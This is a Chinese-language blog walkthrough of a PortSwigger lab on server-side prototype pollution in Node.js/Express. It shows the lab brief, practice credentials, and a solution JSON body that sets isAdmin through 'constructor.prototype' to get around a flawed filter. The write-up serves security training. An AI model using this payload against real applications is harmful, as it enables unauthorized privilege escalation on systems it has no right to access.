从业者-服务端原型链污染-绕过有缺陷的输入过滤器
# 实验室:服务端原型链污染-绕过有缺陷的输入过滤器
# 题目
此实验室基于 Node.js 和 Express 框架构建。它容易受到服务端原型链污染的影响,因为它不安全地将用户可控输入合并到服务端 JavaScript 对象中。
若要解决实验室问题,请
- 找到一个可以向全局
Object.prototype
添加任意属性的原型污染源。 - 确定一个可用于权限提升的小工具属性。
- 访问管理面板并删除
carlos
用户。
你可以使用以下凭据登录到自己的帐户:wiener
:peter
笔记
在测试服务端原型链污染时,很可能会破坏应用程序功能,甚至完全关停服务器。如果发生这种情况,你可以使用实验室横幅中提供的按钮,来手动重启服务器。请记住,在测试真实网站时,你不太可能有此选项,因此你应该始终谨慎行事。
- name: 实验室-从业者
desc: 服务端原型链污染-绕过有缺陷的输入过滤器 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/prototype-pollution/server-side/lab-bypassing-flawed-input-filters-for-server-side-prototype-pollution
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
面向对象的代码写多了,老是在想constructor.prototype
。
# 完成实验
{
"address_line_1":"Wiener HQ",
"address_line_2":"One Wiener Way",
"city":"Wienerville",
"postcode":"BU1 1RP",
"country":"UK",
"sessionId":"DeHKkNrWwCUs000Ki7Alxx5N18vWhUQc",
"constructor":{
"prototype":{
"isAdmin":true
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
编辑 (opens new window)